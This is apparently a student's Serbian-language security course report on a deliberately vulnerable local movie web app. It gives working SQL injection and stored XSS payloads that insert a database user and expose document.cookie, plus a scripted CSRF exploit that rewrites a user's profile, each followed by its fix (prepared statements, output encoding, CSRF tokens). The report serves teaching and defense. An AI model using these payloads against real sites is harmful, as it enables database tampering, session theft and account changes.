RBS PROJEKAT 2022/2023

Student: Luka Simić 2022/3306

1. SQL Injection i Cross-site scripting

Alata za staticku analizu koda SonarCube je upozorio na potencijalnu ranjivost SQL Injection u klasi CommentRepository u metodi create. Upozorenje je prepoznato kao True Positive jer moguce izvrsiti takvu vrstu napada.

* 1. Napad

Na strainici <http://localhost:8080/movies?id=1> u html element textarea ciji je id jednak ‘addComment’ dodat je sledeci tekst:

https://www.allthingsdistributed.com');

insert into persons(id, firstName, lastName, email)

values

(select max(id) from persons + 1, 'werner', 'vogels', 'werner.vogels@aws.com');

--

Rezultat ovoga je dodavanje novog korisnika u tabelu *Persons* sa punim imenom “werner vogels” i licnim email-om “[werner.vogels@aws.com](mailto:werner.vogels@aws.com)” produkcionu bazu podataka. Takodje, ovaj upit I dodaje komentar “https://www.allthingsdistributed.com/” koji se ispisuje na stranici.

Ukoliko bi prethodni komentar zamenili komentarom kao u sledecem primeru:

<script>alert(`User cookie: ${document.cookie}`)</script>');

insert into persons(id, firstName, lastName, email)

values

(select max(id) from persons + 1, 'werner', 'vogels', 'werner.vogels@aws.com');

--

Uspeli bi da izvrsimo Uskladisteni XSS napad, jer svaki korisnik koji otvori stranicu sa navedenim filmom pozvace se deo JS koda koji simulira kradju korisnikovog cookie-a. U ovom slucaju se samo ispisuje u alert-u korisnikov cookie, a inace je moguce pozvati fetch api ka nekom endppint-u i posalti korisnikov cookie.

Zakljucak je da je moguce izvrsiti SQL Injection napad i ubaciti novog korsinika u bazu, kao i izvrsiti XSS napad na stranici [http://localhost:8080/movies?id={id}](http://localhost:8080/movies?id=%7bid%7d).

Ako bismo ubacili komentar sa sledecim tekstom:

All things distributed');

insert into persons(id, firstName, lastName, email)

values

(select max(id) from persons + 1, 'werner', '<img src="agbdlcid" onerror="console.log(`User cookie: ${document.cookie}`)">', 'werner.vogels@aws.com');

--

Ubacili bi u produkcaoni bazu novog korisnika sa zlonamernom *JavaScript* skriptom, koja ce prilikom pretrage korisnika na stranici *persnons.html* aktivirati ubacenu skirptu i ispisati cookie korisnika na konzolni izlaz.

Graphical user interface, text, application, email

Description automatically generated

Slika 1 Ubacen zlonamerni kod - SQL Injection

Graphical user interface, text, application, email

Description automatically generated

Slika 2 Komentar uspesno ubacen i izvrsen SQL Injection napad

Graphical user interface, text, application, email

Description automatically generated

Slika 3 Korisnik uspesno ubacen - pregled persons.html stranice

Graphical user interface, text

Description automatically generated

Slika 4 Uspesno izvrsen XSS napad - ispisan korisnikov cookie u konzoli

* 1. Odbrana

Odbrana je implementirana u sledecim fajlovima: *CommentRepository.java*, *movie.html* i *persons.html* respektivno. Za odbranu od *SQl Injection* napada je koriscena klasa *PreparedStatement*, a za odbranu od *XSS* napada je koriscen *HTML* atribut *textContent* umesto *innerHTML* i *Thymeleaf* atribut *th:text* umesto *th:utext*.

public void create(Comment comment) {

    //        String query = "insert into comments(movieId, userId, comment) values (" + comment.getMovieId() + ", " + comment.getUserId() + ", '" + comment.getComment() + "')";

    String query = "insert into comments(movieId, userId, comment) values (?, ?, ?)";

    try (Connection connection = dataSource.getConnection();

            PreparedStatement preparedStatement = connection.prepareStatement(query);

    ) {

        preparedStatement.setInt(1, comment.getMovieId());

        preparedStatement.setInt(2, comment.getUserId());

        preparedStatement.setString(3, comment.getComment());

        preparedStatement.executeUpdate();

    } catch (SQLException e) {

        e.printStackTrace();

    }}

<div class="form-group" th:each="comment,iter : ${comments}">

    <b th:text="${comment.personName}"></b>

    <div class="form-control" th:id="${iter.index}" th:text="${comment.comment}" disabled></div>

</div>

<div class="form-group">

    <label for="addComment">Add comment</label>

    <textarea class="form-control" id="addComment" rows="3" placeholder="Comment..."></textarea>

    <button id="createComment" class="btn btn-primary mt-2">Create comment</button>

</div>

fetch('/persons/search?searchTerm=' + searchTerm)

.then(function (result) {return result.json()})

.then(function(persons) {

    const tableContent = document.getElementById("tableContent");

    tableContent.textContent = '';

    persons.forEach(function(person) {

        const tableRowElement = document.createElement("tr");

        let tdElement = document.createElement("td");

        tdElement.textContent = person.id;

        tableRowElement.appendChild(tdElement);

        tdElement = document.createElement("td");

        tdElement.textContent = person.firstName;

        tableRowElement.appendChild(tdElement);

        tdElement = document.createElement("td");

        tdElement.textContent = person.lastName;

        tableRowElement.appendChild(tdElement);

        tdElement = document.createElement("td");

        tdElement.textContent = person.email;

        tableRowElement.appendChild(tdElement);

        tdElement = document.createElement("td");

        tdElement.innerHTML = '<a href="/persons/' + person.id + '">View profile</a>';

        tableRowElement.appendChild(tdElement);

        tableContent.appendChild(tableRowElement);

    });

    document.getElementById('searchContainer').className = '';

    document.getElementById('searchTerm').textContent = searchTerm;

});

1. Cross-site request forgery
   1. Napad

Promena licnih podataka korisnika ciji je ID = 1 je izvedena koriscenjem CSRF napada. Korisnik je otvorio stranicu na kojoj mu je prikazano da je osvojio nagradu, i klikom na link salje se POST zahtev na link [*http://localhost:8080/update-person*](http://localhost:8080/update-person)*.* Napad je izvrsen koriscenjem sledeceg koda:

function exploit() {

    // Scripted CSRF Request

    const formData = new FormData();

    formData.append('id', '1');

    formData.append('firstName', 'Batman');

    formData.append('lastName', 'Dark Knight');

    formData.append('csrfToken', 'agbdlcid');

    fetch('http://localhost:8080/update-person' , {

        method: 'POST',

        body : formData,

        credentials: 'include'

    });

}

Rezultat napada je promena korisnikovih licnih podataka sa firstName = ‘bruce’ i lastName = ‘wayne’ na firstName = ‘Batman’ i lastName = ‘Dark Knight’.

Graphical user interface, text, application, email

Description automatically generated

Slika 5 Uspeno izveden CSRF napad - vidljiva promena korisnikovih licnih podataka

* 1. Odbrana

Zastita je implementirana koriscenjem CSRF tokena. Token se zajedno sa ostalim paramterima prosleđuje metodi koja vrsi azuriranje korisnikovih licnih podataka. Ukoliko se vrednost tokena ne poklapa sa onom na serveru, dolazi do greske. CSRF se nalazi unutar forme za azuriranje licnih podataka kao skriveno polje. Odbrana je implementirana u sledecim fajlovima: *PersonsController.java* i *person.html* respektivno.

@GetMapping("/persons/{id}")

public String person(@PathVariable int id, Model model, HttpSession httpSession) {

    //CSRF Odbrana

    String csrfToken = httpSession.getAttribute("CSRF\_TOKEN").toString();

    model.addAttribute("CSRF\_TOKEN", csrfToken);

    model.addAttribute("person", personRepository.get("" + id));

    return "person";

}

@PostMapping("/update-person")

public String updatePerson(Person person, HttpSession httpSession, @RequestParam("csrfToken") String csrfToken) {

    String myCsrfToken = httpSession.getAttribute("CSRF\_TOKEN").toString();

    if(!myCsrfToken.equals(csrfToken))

        throw new AccessControlException("Forbidden!");

    personRepository.update(person);

    return "redirect:/persons/" + person.getId();

}

<div class="row">

    <form method="POST" action="/update-person" class="col-5">

        <div class="form-group">

            <label for="firstName">First Name</label>

            <input type="text" name="firstName" class="form-control" id="firstName" th:value="${person.firstName}">

        </div>

        <div class="form-group">

            <label for="lastName">Last Name</label>

            <input type="text" name="lastName" class="form-control" id="lastName" th:value="${person.lastName}">

        </div>

        <div class="form-group">

            <label for="email">Email</label>

            <input type="text" name="email" class="form-control" id="email" th:value="${person.email}">

        </div>

        <input type="hidden" name="id" class="form-control" id="id" th:value="${person.id}">

        <input type="hidden" name="csrfToken" class="form-control" th:value="${CSRF\_TOKEN}">

        <button type="submit" class="btn btn-primary">Save</button>

</form>

</div>